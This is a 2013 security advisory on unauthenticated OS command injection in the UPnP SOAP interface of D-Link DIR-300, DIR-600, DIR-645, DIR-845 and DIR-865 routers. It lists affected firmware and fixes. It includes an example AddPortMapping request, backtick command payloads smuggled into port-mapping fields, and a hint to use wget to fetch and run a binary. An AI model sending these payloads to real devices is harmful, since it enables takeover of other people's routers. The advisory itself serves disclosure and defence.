Title: OS-Command Injection via UPnP SOAP Interface in multiple D-Link devices Vendor: D-Link Devices: DIR-300 rev B / DIR-600 rev B / DIR-645 / DIR-845 / DIR-865 ============ Vulnerable Firmware Releases: ============ DIR-300 rev B - 2.14b01 DIR-600 - 2.16b01 DIR-645 - 1.04b01 DIR-845 - 1.01b02 DIR-865 - 1.05b03 Other devices and firmware versions may be also vulnerable. ============ Vulnerability Overview: ============ * Unauthenticated OS Command Injection The vulnerability is caused by missing input validation in different XML parameters. This vulnerability could be exploited to inject and execute arbitrary shell commands. WARNING: You do not need to be authenticated to the device to insert and execute malicious commands. Hint: On different devices wget is preinstalled and you are able to upload and execute your malicious binary. => Parameter: NewInternalClient, NewInternalClient, NewInternalPort Example Request: POST /soap.cgi?service=WANIPConn1 HTTP/1.1 SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" Host: 10.8.28.133:49152 Content-Type: text/xml Content-Length: 649 <?xml version="1.0"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"> <NewPortMappingDescription></NewPortMappingDescription> <NewLeaseDuration></NewLeaseDuration> <NewInternalClient>1.1.1.1</NewInternalClient> <NewEnabled>1</NewEnabled> <NewExternalPort>634</NewExternalPort> <NewRemoteHost></NewRemoteHost> <NewProtocol>TCP</NewProtocol> <NewInternalPort>45</NewInternalPort> </m:AddPortMapping> </SOAP-ENV:Body> </SOAP-ENV:Envelope> You could use miranda for your own testing: * NewInternalClient Required argument: Argument Name: NewInternalClient Data Type: string Allowed Values: [] Set NewInternalClient value to: `ping 192.168.0.100` * NewExternalPort Required argument: Argument Name: NewExternalPort Data Type: ui2 Allowed Values: [] Set NewExternalPort value to: `ping 192.168.0.100` * NewInternalPort Required argument: Argument Name: NewInternalPort Data Type: ui2 Allowed Values: [] Set NewInternalPort value to: `ping 192.168.0.100` ============ Solution ============ DIR-300 rev B - disable UPnP DIR-600 - update to v2.17b01 DIR-645 - update to v1.04b11 DIR-845 - update to v1.02b03 DIR-865 - disable UPnP ============ Credits ============ The vulnerability was discovered by Michael Messner Mail: devnull#at#s3cur1ty#dot#de Web: http://www.s3cur1ty.de/advisories Twitter: @s3cur1ty_de ============ Time Line: ============ 06.06.2013 - discovered vulnerability 07.06.2013 - reported vulnerability to vendor => some fixes are available but there is no communication with the vendor 06.07.2013 - public disclosure at Sigint 2013 06.07.2013 - public disclosure of advisory ===================== Advisory end =====================